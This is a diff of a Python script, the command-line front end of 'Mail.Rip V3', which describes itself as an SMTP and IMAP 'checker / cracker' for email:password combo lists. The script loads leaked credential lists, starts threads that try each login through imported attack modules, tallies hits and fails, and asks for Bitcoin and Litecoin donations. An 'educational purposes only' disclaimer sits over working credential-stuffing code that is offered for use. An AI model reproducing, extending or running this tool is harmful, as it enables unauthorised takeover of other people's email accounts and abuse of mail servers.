|
| 1 | +#!/usr/local/opt/[email protected]/bin/python3 |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | + |
| 4 | +__author__ = 'DrPython3' |
| 5 | +__date__ = '2021-12-04' |
| 6 | +__version__ = 'BETA(1)' |
| 7 | +__contact__ = 'https://github.com/DrPython3' |
| 8 | + |
| 9 | +''' |
| 10 | + __ __ _ _ ___ _ ____ |
| 11 | + | \/ |__ _(_) | | _ (_)_ __ __ _|__ / |
| 12 | + | |\/| / _` | | |_| / | '_ \ \ V /|_ \\ |
| 13 | + |_| |_\__,_|_|_(_)_|_\_| .__/ \_/|___/ |
| 14 | + |_| |
| 15 | + ---------------------------------------- |
| 16 | +
|
| 17 | + *** LEGAL NOTICES *** |
| 18 | +
|
| 19 | +Mail.Rip V3 has been created for educational purposes only. |
| 20 | +It shall not be used for any kind of illegal activity nor |
| 21 | +law enforcement at any time. This applies to all cases of |
| 22 | +usage, no matter whether the code as a whole or just parts |
| 23 | +of it are being used. |
| 24 | +
|
| 25 | + *** SHORT INFO *** |
| 26 | +
|
| 27 | +SMTP and IMAP Checker / Cracker for Email:Pass Combolists. |
| 28 | +Further Information and Help at: |
| 29 | +
|
| 30 | + https://github.com/DrPython3/MailRipV3 |
| 31 | +''' |
| 32 | + |
| 33 | +# [IMPORTS] |
| 34 | +# --------- |
| 35 | + |
| 36 | +import sys |
| 37 | +import threading |
| 38 | +from queue import Queue |
| 39 | +from time import sleep |
| 40 | +from inc_attackimap import imapchecker |
| 41 | +from inc_attacksmtp import smtpchecker |
| 42 | +from inc_comboloader import comboloader |
| 43 | +from inc_etc import clean |
| 44 | +from inc_etc import get_combofile_nogui |
| 45 | + |
| 46 | +# [VARIOUS] |
| 47 | +# --------- |
| 48 | + |
| 49 | +main_logo = ''' |
| 50 | + __ __ _ _ ___ _ ____ |
| 51 | + | \/ |__ _(_) | | _ (_)_ __ __ _|__ / |
| 52 | + | |\/| / _` | | |_| / | '_ \ \ V /|_ \\ |
| 53 | + |_| |_\__,_|_|_(_)_|_\_| .__/ \_/|___/ |
| 54 | + |_| |
| 55 | +
|
| 56 | + ********************** |
| 57 | + *** NO GUI VERSION *** |
| 58 | + ********************** |
| 59 | +
|
| 60 | +Tip or donate for faster development: |
| 61 | +
|
| 62 | + (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU |
| 63 | + (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK |
| 64 | +
|
| 65 | +''' |
| 66 | + |
| 67 | +# global variables and stuff: |
| 68 | + |
| 69 | +targets_total = int(0) |
| 70 | +targets_left = int(0) |
| 71 | +hits = int(0) |
| 72 | +fails = int(0) |
| 73 | + |
| 74 | +checker_queue = Queue() |
| 75 | + |
| 76 | +# [FUNCTIONS] |
| 77 | +# ----------- |
| 78 | + |
| 79 | +def checker_thread(checker_type, default_timeout, default_email): |
| 80 | + ''' |
| 81 | + Function for a single thread which performs the main checking process. |
| 82 | +
|
| 83 | + :param str checker_type: smtp or imap |
| 84 | + :param float default_timeout: timeout for server connection |
| 85 | + :param str default_email: user's email for test messages (SMTP only) |
| 86 | + :return: None |
| 87 | + ''' |
| 88 | + # set variables: |
| 89 | + global targets_left |
| 90 | + global hits |
| 91 | + global fails |
| 92 | + # start thread for chosen checker type: |
| 93 | + while True: |
| 94 | + target = str(checker_queue.get()) |
| 95 | + result = False |
| 96 | + try: |
| 97 | + if checker_type == 'smtp': |
| 98 | + result = smtpchecker( |
| 99 | + float(default_timeout), |
| 100 | + str(default_email), |
| 101 | + str(f'{target}') |
| 102 | + ) |
| 103 | + elif checker_type == 'imap': |
| 104 | + result = imapchecker( |
| 105 | + float(default_timeout), |
| 106 | + str(f'{target}') |
| 107 | + ) |
| 108 | + except: |
| 109 | + pass |
| 110 | + # update stats: |
| 111 | + if result == True: |
| 112 | + hits += 1 |
| 113 | + else: |
| 114 | + fails += 1 |
| 115 | + targets_left -= 1 |
| 116 | + checker_queue.task_done() |
| 117 | + # cooldown for checker thread: |
| 118 | + sleep(1.0) |
| 119 | + return None |
| 120 | + |
| 121 | +def checker(checker_type, default_threads, default_timeout, default_email, combofile): |
| 122 | + ''' |
| 123 | + Function to control the import of combos, to start threads etc. |
| 124 | +
|
| 125 | + :param str checker_type: smtp or imap |
| 126 | + :param int default_threads: amount of threads to use |
| 127 | + :param float default_timeout: timeout for server-connections |
| 128 | + :param str default_email: users's email for test-messages (SMTP only) |
| 129 | + :param str combofile: textfile with combos to import |
| 130 | + :return: True (no errors occurred), False (errors occurred) |
| 131 | + ''' |
| 132 | + # set variables: |
| 133 | + global targets_total |
| 134 | + global targets_left |
| 135 | + combos_available = False |
| 136 | + try: |
| 137 | + # load combos: |
| 138 | + print('Step#1: Loading combos from file ...') |
| 139 | + try: |
| 140 | + combos = comboloader(combofile) |
| 141 | + except: |
| 142 | + combos = [] |
| 143 | + targets_total = len(combos) |
| 144 | + targets_left = targets_total |
| 145 | + if targets_total > 0: |
| 146 | + combos_available = True |
| 147 | + print(f'Done! Amount of combos loaded: {str(targets_total)}\n\n') |
| 148 | + else: |
| 149 | + print('Done! No combos loaded.\n\n') |
| 150 | + # start checker threads: |
| 151 | + if combos_available == True: |
| 152 | + print(f'Step#2: Starting threads for {checker_type} checker ...') |
| 153 | + for _ in range(default_threads): |
| 154 | + single_thread = threading.Thread( |
| 155 | + target=checker_thread, |
| 156 | + args=(str(f'{checker_type}'),default_timeout,default_email), |
| 157 | + daemon=True |
| 158 | + ) |
| 159 | + single_thread.start() |
| 160 | + # fill queue with combos: |
| 161 | + for target in combos: |
| 162 | + checker_queue.put(target) |
| 163 | + print('Done! Checker started and running - see stats in window title.\n\n') |
| 164 | + # checker stats in window title: |
| 165 | + while targets_left >= 0: |
| 166 | + try: |
| 167 | + sleep(1.0) |
| 168 | + titlestats = str(f'LEFT: {str(targets_left)} # HITS: {str(hits)} # FAILS: {str(fails)}') |
| 169 | + sys.stdout.write('\33]0;' + titlestats + '\a') |
| 170 | + sys.stdout.flush() |
| 171 | + except: |
| 172 | + pass |
| 173 | + # finish checker: |
| 174 | + print('Step#3: Finishing checking ...') |
| 175 | + checker_queue.join() |
| 176 | + print('Done!\n\n') |
| 177 | + sleep(3.0) |
| 178 | + else: |
| 179 | + print('Press [ENTER] and try again, please!') |
| 180 | + input() |
| 181 | + clean() |
| 182 | + return True |
| 183 | + except: |
| 184 | + clean() |
| 185 | + return False |
| 186 | + |
| 187 | +def main(): |
| 188 | + ''' |
| 189 | + Function for main menu and checker setup. |
| 190 | +
|
| 191 | + :return: None |
| 192 | + ''' |
| 193 | + # set default values for needed variables: |
| 194 | + default_timeout = float(3.0) |
| 195 | + default_threads = int(1) |
| 196 | + default_email = str( '[email protected]') |
| 197 | + combofile = str('combos.txt') |
| 198 | + checker_type = str('smtp') |
| 199 | + clean() |
| 200 | + print(main_logo + '\n\n') |
| 201 | + # get values for variables from user input: |
| 202 | + try: |
| 203 | + # user's email address for testmailer (SMTP only): |
| 204 | + default_email = str( |
| 205 | + input( 'Your Email [e.g. [email protected]]: ') |
| 206 | + ) |
| 207 | + # type of checking (SMTP / IMAP): |
| 208 | + checker_choice = int( |
| 209 | + input('Checker Type [1 = smtp or 2 = imap]: ') |
| 210 | + ) |
| 211 | + if checker_choice == 2: |
| 212 | + checker_type = 'imap' |
| 213 | + # threads to use: |
| 214 | + default_threads = int( |
| 215 | + input('Checker Threads [e.g. 1]: ') |
| 216 | + ) |
| 217 | + # default timeout for connections: |
| 218 | + default_timeout = float( |
| 219 | + input('Checker Timeout in Seconds [e.g. 3]: ') |
| 220 | + ) |
| 221 | + # start open-file-dialog using tkinter: |
| 222 | + combofile = get_combofile_nogui() |
| 223 | + # ask for starting the checker: |
| 224 | + start_now = str( |
| 225 | + input('\n\nStart Checker = [y] or Exit = [n]: ') |
| 226 | + ) |
| 227 | + # start checker for option "yes": |
| 228 | + if start_now in ['y', 'Y', 'yes', 'Yes']: |
| 229 | + clean() |
| 230 | + print( |
| 231 | + '\n\n' |
| 232 | + + f'Mail.Rip V3 - running ({checker_type}) checker:\n' |
| 233 | + + 38*'-' + '\n\n' |
| 234 | + + f'user email: {default_email}\n' |
| 235 | + + f'threads: {str(default_threads)}\n' |
| 236 | + + f'timeout: {str(default_timeout)}\n\n' |
| 237 | + + 38*'-' + '\n' |
| 238 | + ) |
| 239 | + print( |
| 240 | + 'Tip or donate for faster development:\n\n' |
| 241 | + + ' (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU\n' |
| 242 | + + ' (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK\n\n' |
| 243 | + ) |
| 244 | + print('Please be patient and wait while all combos are being checked ...\n\n') |
| 245 | + checker_result = checker( |
| 246 | + str(checker_type), |
| 247 | + int(default_threads), |
| 248 | + float(default_timeout), |
| 249 | + str(default_email), |
| 250 | + str(combofile) |
| 251 | + ) |
| 252 | + # show summary and quit: |
| 253 | + if checker_result == True: |
| 254 | + print( |
| 255 | + '\n\n' |
| 256 | + + f'Mail.Rip V3 - ({checker_type}) checker results:\n' |
| 257 | + + 38*'-' + '\n\n' |
| 258 | + + f'combos: {str(targets_total)}\n' |
| 259 | + + f'hits: {str(hits)}\n' |
| 260 | + + f'fails: {str(fails)}\n\n' |
| 261 | + + 38*'-' + '\n' |
| 262 | + ) |
| 263 | + print( |
| 264 | + 'Tip or donate for faster development:\n\n' |
| 265 | + + ' (BTC) 1KFMr9bJJh4MctKAy1kzpaqy6m5b3V2VRU\n' |
| 266 | + + ' (LTC) LX1v9NQfMAvLJGWFhJSHTBWygeg8MZUJbK\n\n\n' |
| 267 | + ) |
| 268 | + print('Press [ENTER] to exit ...') |
| 269 | + input() |
| 270 | + else: |
| 271 | + clean() |
| 272 | + print( |
| 273 | + '\n\n\n' |
| 274 | + + '*** SORRY ***\n' |
| 275 | + + 'Errors occurred while checking your combos! Running the checker failed.\n' |
| 276 | + + 'Press [ENTER] to exit ...' |
| 277 | + ) |
| 278 | + input() |
| 279 | + clean() |
| 280 | + # exit for option "no": |
| 281 | + elif start_now in ['n', 'N', 'no', 'No']: |
| 282 | + clean() |
| 283 | + else: |
| 284 | + clean() |
| 285 | + print('\n\n*** SORRY ***\nSomething went wrong. Press [ENTER] and try again, please!\n') |
| 286 | + input() |
| 287 | + except: |
| 288 | + clean() |
| 289 | + print('\n\n*** SORRY ***\nAn error occurred. Press [ENTER] and try again, please!\n') |
| 290 | + input() |
| 291 | + sys.exit() |
| 292 | + |
| 293 | +# [MAIN] |
| 294 | +# ------ |
| 295 | + |
| 296 | +while True: |
| 297 | + main() |
| 298 | + |
| 299 | +# DrPython3 (C) 2021 @ GitHub.com |
0 commit comments